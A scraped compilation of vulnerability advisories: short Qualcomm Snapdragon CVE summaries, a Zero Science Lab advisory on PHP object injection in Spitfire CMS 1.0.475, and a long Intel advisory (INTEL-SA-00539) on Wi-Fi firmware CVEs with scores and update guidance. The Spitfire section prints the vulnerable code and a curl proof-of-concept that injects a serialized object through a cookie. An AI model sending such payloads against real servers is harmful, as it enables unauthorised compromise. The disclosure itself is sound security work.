Possible out of bound memory access due to improper boundary check while creating HSYNC fence in Snapdragon Auto, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wearables

CVE-2021-30316: October 2021 Security Bulletin | Qualcomm

Possible buffer over read due to lack of data length check in QVR Service configuration in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Wearables

CVE-2021-1985: October 2021 Security Bulletin | Qualcomm

Possible buffer over read occurs due to lack of length check of request buffer in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Voice & Music

CVE-2021-1952: September 2021 Security Bulletin | Qualcomm

Spitfire CMS version 1.0.475 is prone to a PHP object injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated, could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input.

    Spitfire CMS 1.0.475 (cms_backup_values) PHP Object InjectionVendor: Claus MuusProduct web page: http://spitfire.clausmuus.deAffected version: 1.0.475Summary: Spitfire is a system to manage the content of webpages.Desc: The application is prone to a PHP Object Injection vulnerabilitydue to the unsafe use of unserialize() function. A potential attacker,authenticated, could exploit this vulnerability by sending speciallycrafted requests to the web application containing malicious serializedinput.-----------------------------------------------------------------------cms/edit/tpl_backup.inc.php:----------------------------47:  private function status ()48:  {49:      $status = array ();50:51:      $status['values'] = array ();52:      $status['values'] = isset ($_COOKIE['cms_backup_values']) ? unserialize ($_COOKIE['cms_backup_values']) : array ();......77:  public function save ($values)78:  {79:      $values = array_merge ($this->status['values'], $values);80:      setcookie ('cms_backup_values', serialize ($values), time()+60*60*24*30);81:  }-----------------------------------------------------------------------Tested on: nginxVulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2022-5720Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5720.php28.09.2022--> curl -isk -XPOST http://10.0.0.2/cms/edit/tpl_backup_action.php \       -H 'Content-Type: application/x-www-form-urlencoded'       -H 'Accept: */*'       -H 'Referer: http://10.0.0.2/cms/edit/cont_index.php?tpl=backup'       -H 'Accept-Encoding: gzip, deflate'       -H 'Accept-Language: en-US,en;q=0.9'       -H 'Connection: close' \       -H 'Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c' \       --data 'action=save&&value=1'      #--data 'action=save&&value[files]={}'

Spitfire CMS 1.0.475 PHP Object Injection

Improper input validation in firmware for Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and Killer(TM) Wi-Fi in Windows 10 and 11 may allow an unauthenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® PROSet/Wireless Wi-Fi, Intel® AMT Wireless and Killer™ Wi-Fi Software Advisory**

Intel ID:

INTEL-SA-00539

Advisory Category:

Firmware, Software

Impact of vulnerability:

Escalation of Privilege, Denial of Service, Information Disclosure

Severity rating:

HIGH

Original release:

02/08/2022

Last revised:

02/08/2022

**Summary: **

Potential security vulnerabilities in some Intel® PROSet/Wireless Wi-Fi, Intel® Active Management Technology (Intel® AMT) Wireless and Killer™ Wi-Fi may allow escalation of privilege, denial of service or information disclosure. Intel is releasing firmware and software updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID:  CVE-2021-0162

Description: Improper input validation in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.

CVSS Base Score: 7.1 High

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CVEID:  CVE-2021-0163

Description:  Improper Validation of Consistency within input in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable escalation of privilege via adjacent access.

CVSS Base Score: 7.1 High

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CVEID:  CVE-2021-0161

Description: Improper input validation in firmware for Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVEID:  CVE-2021-0164

Description: Improper access control in firmware for Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable  escalation of privilege via local access.

CVSS Base Score: 6.5 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

CVEID:  CVE-2021-0165

Description: Improper input validation in firmware for Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 6.5 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID:  CVE-2021-0066

Description: Improper input validation in firmware for Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.2 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVEID:  CVE-2021-0166

Description: Exposure of Sensitive Information to an Unauthorized Actor in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:N

CVEID:  CVE-2021-0167

Description: Improper access control in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.0 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

CVEID:  CVE-2021-0169

Description: Uncontrolled Search Path Element in software for Intel(R) PROSet/Wireless Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.0 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

CVEID:  CVE-2021-0168

Description: Improper input validation in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 5.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:H

CVEID:  CVE-2021-0170

Description: Exposure of Sensitive Information to an Unauthorized Actor in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow an authenticated user to potentially enable information disclosure via local access.

CVSS Base Score: 5.5 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVEID:  CVE-2021-0171

Description: Improper access control in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an authenticated user to potentially enable information disclosure via local access.

CVSS Base Score: 5.5 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVEID:  CVE-2021-0172

Description: Improper input validation in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID:  CVE-2021-0173

Description: Improper Validation of Consistency within input in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID:  CVE-2021-0174

Description:  Improper Use of Validation Framework in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID:  CVE-2021-0175

Description:  Improper Validation of Specified Index, Position, or Offset in Input in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVEID:  CVE-2021-0076

Description:  Improper Validation of Specified Index, Position, or Offset in Input in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

CVEID:  CVE-2021-0176

Description: Improper input validation in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

CVEID:  CVE-2021-0177

Description: Improper Validation of Consistency within input in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 4.7 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

CVEID:  CVE-2021-0178

Description: Improper input validation in software for Intel(R) PROSet/Wireless Wi-Fi and Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 4.7 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

CVEID:  CVE-2021-0179

Description: Improper Use of Validation Framework in software for Intel(R) PROSet/Wireless Wi-Fi and  Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 4.7 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L

CVEID:  CVE-2021-0183

Description:  Improper Validation of Specified Index, Position, or Offset in Input in software for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow an unauthenticated user to potentially enable denial of service via adjacent access.

CVSS Base Score: 4.7 Medium

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVEID:  CVE-2021-0072

Description: Improper input validation in firmware for some Intel(R) PROSet/Wireless Wi-Fi in multiple operating systems and some Killer(TM) Wi-Fi in Windows 10 & 11 may allow a privileged user to potentially enable information disclosure via local access.

CVSS Base Score: 4.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

**Affected Products:**

Intel® PROSet/Wireless Wi-Fi products:

*   Intel® Wi-Fi 6E AX210
*   Intel® Wi-Fi 6 AX201
*   Intel® Wi-Fi 6 AX200
*   Intel® Wireless-AC 9560
*   Intel® Wireless-AC 9462
*   Intel® Wireless-AC 9461
*   Intel® Wireless-AC 9260
*   Intel® Dual Band Wireless-AC 8265
*   Intel® Dual Band Wireless-AC 8260
*   Intel® Dual Band Wireless-AC 3168
*   Intel® Wireless 7265 (Rev D) Family
*   Intel® Dual Band Wireless-AC 3165

Intel® AMT Wireless products:

*   Intel® Wi-Fi 6 AX210
*   Intel® Wi-Fi 6 AX201
*   Intel® Wi-Fi 6 AX200
*   Intel® Wireless-AC 9560
*   Intel® Wireless-AC 9260
*   Intel® Dual Band Wireless-AC 8265
*   Intel® Dual Band Wireless-AC 8260

Killer™ Wi-Fi products:

*   Killer™ Wi-Fi 6E AX1675       
*   Killer™ Wi-Fi 6 AX1650
*   Killer™ Wireless-AC 1550

**Recommendations:**

**Windows:**

Intel recommends updating the Intel® PROSet/Wireless Wi-Fi software to version 22.60 or later.

Updates are available for download at these locations:

Intel® PROSet/Wireless Wi-Fi version 22.60 or later:

https://www.intel.com/content/www/us/en/download/19351/windows-10-and-windows-11-wi-fi-drivers-for-intel-wireless-adapters.html

Intel recommends updating the Killer™ Wi-Fi software to version 3.0 (Production version) or later.

Updates for Killer™ products are available for download at this location:

https://www.intel.com/content/www/us/en/download/19779/intel-killer-performance-suite.html

**UEFI:  
**Intel recommends updating the Wi-Fi drivers in UEFI to version 1.2.6 or later.  
Please contact your OEM support group to obtain the correct driver version.

**Chrome OS:**

Intel® PROSet/Wireless Wi-Fi drivers to mitigate these vulnerabilities are up streamed to Chromium.

For any Google Chrome OS solution and schedule, please contact Google directly.

**Linux OS:**

Intel® PROSet/Wireless Wi-Fi drivers to mitigate these vulnerabilities are up streamed to Linux.

Consult the regular Open Source channels to obtain this update.

**Recommendation for Intel® AMT Wireless products:**

Intel recommends updating Intel® AMT Wireless products to the following versions.

**Chipset/SoC**

**Mitigated Intel® AMT Version or higher**

**Device**

11th Generation Intel® Core Processor

15.0.35

Intel® Wi-Fi 6 AX210

Intel® Wi-Fi 6 AX201

Intel® Wi-Fi 6 AX200

10th Generation Intel® Core Processor

14.1.60

Intel® Wi-Fi 6 AX201  
Intel® Wi-Fi 6 AX200

9th Generation Intel® Core Processor

12.0.85

Intel® Wireless-AC 9260

Intel® Wireless-AC 9560

Intel® Wi-Fi 6 AX200

8th Generation Intel® Core Processor

12.0.85

Intel® Wireless-AC 9260

Intel® Wireless-AC 9560

Intel® Wi-Fi 6 AX200

7th Generation Intel® Core Processor

6th Generation Intel® Core Processor

11.8.90

Intel® Dual Band Wireless-AC 8265  
Intel® Dual Band Wireless-AC 8260

Intel recommends that users of Intel® vPRO® CSME WiFi products update to the latest version provided by the system manufacturer that addresses these issues.

**Acknowledgements:**

These issues were found internally by Intel employees.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/08/2022

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel, processors, chipsets, and desktop boards may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at https://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

Intel and the Intel logo are trademarks of Intel Corporation in the United States and other countries.

\*Other names and brands may be claimed as the property of others.  
Copyright © Intel Corporation 2022

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

Search

lenovo warranty check/lookup | check warranty status | lenovo support us